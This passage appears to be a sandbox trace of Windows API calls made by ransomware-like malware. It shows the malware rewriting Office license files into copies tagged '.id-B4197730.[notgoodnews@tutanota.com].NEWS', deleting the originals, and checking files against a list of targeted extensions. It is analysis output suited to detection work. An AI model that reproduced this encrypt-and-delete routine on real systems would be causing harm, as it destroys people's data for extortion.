dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0178.853] GetLastError () returned 0x0 [0178.853] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xc1f, lpOverlapped=0x0) returned 1 [0178.856] WriteFile (in: hFile=0x558, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xc20, lpOverlapped=0x0) returned 1 [0178.857] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.857] WriteFile (in: hFile=0x558, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10a, lpOverlapped=0x0) returned 1 [0178.857] SetEndOfFile (hFile=0x558) returned 1 [0178.858] CloseHandle (hObject=0x558) returned 1 [0178.858] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.858] SetEndOfFile (hFile=0x4e8) returned 1 [0178.862] CloseHandle (hObject=0x4e8) returned 1 [0178.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0178.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0178.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.864] lstrlenW (lpString=".doc") returned 4 [0178.864] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.865] lstrlenW (lpString=".docx") returned 5 [0178.865] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.865] lstrlenW (lpString=".pdf") returned 4 [0178.865] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.865] lstrlenW (lpString=".xls") returned 4 [0178.865] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.865] lstrlenW (lpString=".xlsx") returned 5 [0178.865] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.865] lstrlenW (lpString=".ppt") returned 4 [0178.865] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.865] lstrlenW (lpString=".zip") returned 4 [0178.865] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.865] lstrlenW (lpString=".rar") returned 4 [0178.865] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.865] lstrlenW (lpString=".bz2") returned 4 [0178.865] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.865] lstrlenW (lpString=".7z") returned 3 [0178.865] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.866] lstrlenW (lpString=".dbf") returned 4 [0178.866] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.866] lstrlenW (lpString=".1cd") returned 4 [0178.866] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.866] lstrlenW (lpString=".jpg") returned 4 [0178.866] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.866] lstrlenW (lpString=".doc") returned 4 [0178.866] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.866] lstrlenW (lpString=".docx") returned 5 [0178.866] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.866] lstrlenW (lpString=".pdf") returned 4 [0178.866] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.866] lstrlenW (lpString=".xls") returned 4 [0178.866] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.867] lstrlenW (lpString=".xlsx") returned 5 [0178.867] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.867] lstrlenW (lpString=".ppt") returned 4 [0178.867] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.867] lstrlenW (lpString=".zip") returned 4 [0178.867] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.867] lstrlenW (lpString=".rar") returned 4 [0178.867] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.867] lstrlenW (lpString=".bz2") returned 4 [0178.867] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.867] lstrlenW (lpString=".7z") returned 3 [0178.867] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.867] lstrlenW (lpString=".dbf") returned 4 [0178.867] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.867] lstrlenW (lpString=".1cd") returned 4 [0178.867] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0178.867] lstrlenW (lpString=".jpg") returned 4 [0178.867] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.868] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0178.868] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27 [0178.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0178.870] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=3380) returned 1 [0178.870] CloseHandle (hObject=0x4e8) returned 1 [0178.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0178.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0178.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0178.871] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.871] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0179.077] GetLastError () returned 0x0 [0179.077] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0xd34, lpOverlapped=0x0) returned 1 [0179.096] WriteFile (in: hFile=0x560, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xd40, lpOverlapped=0x0) returned 1 [0179.098] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.098] WriteFile (in: hFile=0x560, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10a, lpOverlapped=0x0) returned 1 [0179.099] SetEndOfFile (hFile=0x560) returned 1 [0179.099] CloseHandle (hObject=0x560) returned 1 [0179.099] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.099] SetEndOfFile (hFile=0x4e8) returned 1 [0179.104] CloseHandle (hObject=0x4e8) returned 1 [0179.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0179.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.106] lstrlenW (lpString=".doc") returned 4 [0179.106] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.106] lstrlenW (lpString=".docx") returned 5 [0179.106] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.106] lstrlenW (lpString=".pdf") returned 4 [0179.106] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.106] lstrlenW (lpString=".xls") returned 4 [0179.106] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.106] lstrlenW (lpString=".xlsx") returned 5 [0179.106] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.106] lstrlenW (lpString=".ppt") returned 4 [0179.106] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.107] lstrlenW (lpString=".zip") returned 4 [0179.107] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.107] lstrlenW (lpString=".rar") returned 4 [0179.107] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.107] lstrlenW (lpString=".bz2") returned 4 [0179.107] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.107] lstrlenW (lpString=".7z") returned 3 [0179.107] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.107] lstrlenW (lpString=".dbf") returned 4 [0179.107] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.107] lstrlenW (lpString=".1cd") returned 4 [0179.107] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.107] lstrlenW (lpString=".jpg") returned 4 [0179.107] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.107] lstrlenW (lpString=".doc") returned 4 [0179.107] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.107] lstrlenW (lpString=".docx") returned 5 [0179.108] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.108] lstrlenW (lpString=".pdf") returned 4 [0179.108] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString=".xls") returned 4 [0179.108] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString=".xlsx") returned 5 [0179.108] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.108] lstrlenW (lpString=".ppt") returned 4 [0179.108] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.108] lstrlenW (lpString=".zip") returned 4 [0179.108] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString=".rar") returned 4 [0179.108] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString=".bz2") returned 4 [0179.108] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString=".7z") returned 3 [0179.108] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.108] lstrlenW (lpString=".dbf") returned 4 [0179.108] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.108] lstrlenW (lpString=".1cd") returned 4 [0179.108] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0179.109] lstrlenW (lpString=".jpg") returned 4 [0179.109] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0179.109] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0179.109] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26 [0179.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.110] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11589) returned 1 [0179.110] CloseHandle (hObject=0x4e8) returned 1 [0179.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0179.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0179.111] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.111] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0179.112] GetLastError () returned 0x0 [0179.112] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0179.125] WriteFile (in: hFile=0x560, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0179.126] ReadFile (in: hFile=0x4e8, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.126] WriteFile (in: hFile=0x560, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x108, lpOverlapped=0x0) returned 1 [0179.127] SetEndOfFile (hFile=0x560) returned 1 [0179.133] CloseHandle (hObject=0x560) returned 1 [0179.137] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.137] SetEndOfFile (hFile=0x4e8) returned 1 [0179.149] CloseHandle (hObject=0x4e8) returned 1 [0179.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0179.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0179.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0179.990] lstrlenW (lpString=".doc") returned 4 [0179.990] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.990] lstrlenW (lpString=".docx") returned 5 [0179.990] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.990] lstrlenW (lpString=".pdf") returned 4 [0179.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.990] lstrlenW (lpString=".xls") returned 4 [0179.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.990] lstrlenW (lpString=".xlsx") returned 5 [0179.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.991] lstrlenW (lpString=".ppt") returned 4 [0179.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0179.991] lstrlenW (lpString=".zip") returned 4 [0179.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.991] lstrlenW (lpString=".rar") returned 4 [0179.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.991] lstrlenW (lpString=".bz2") returned 4 [0179.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.991] lstrlenW (lpString=".7z") returned 3 [0179.991] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0179.991] lstrlenW (lpString=".dbf") returned 4 [0179.991] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0179.991] lstrlenW (lpString=".1cd") returned 4 [0179.991] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0179.991] lstrlenW (lpString=".jpg") returned 4 [0179.991] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0180.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0180.257] lstrlenW (lpString=".doc") returned 4 [0180.257] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString=".docx") returned 5 [0180.257] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.257] lstrlenW (lpString=".pdf") returned 4 [0180.257] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString=".xls") returned 4 [0180.257] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString=".xlsx") returned 5 [0180.257] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.257] lstrlenW (lpString=".ppt") returned 4 [0180.257] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0180.257] lstrlenW (lpString=".zip") returned 4 [0180.257] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString=".rar") returned 4 [0180.257] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString=".bz2") returned 4 [0180.257] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.257] lstrlenW (lpString=".7z") returned 3 [0180.258] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0180.258] lstrlenW (lpString=".dbf") returned 4 [0180.258] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0180.258] lstrlenW (lpString=".1cd") returned 4 [0180.258] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0180.258] lstrlenW (lpString=".jpg") returned 4 [0180.258] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.258] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.258] lstrlenW (lpString="ExcelR_Retail-ul-phn.xrm-ms") returned 27 [0180.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0180.260] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19919) returned 1 [0180.260] CloseHandle (hObject=0x4f4) returned 1 [0180.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 0x220 [0180.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0180.261] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.261] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.283] GetLastError () returned 0x0 [0180.283] ReadFile 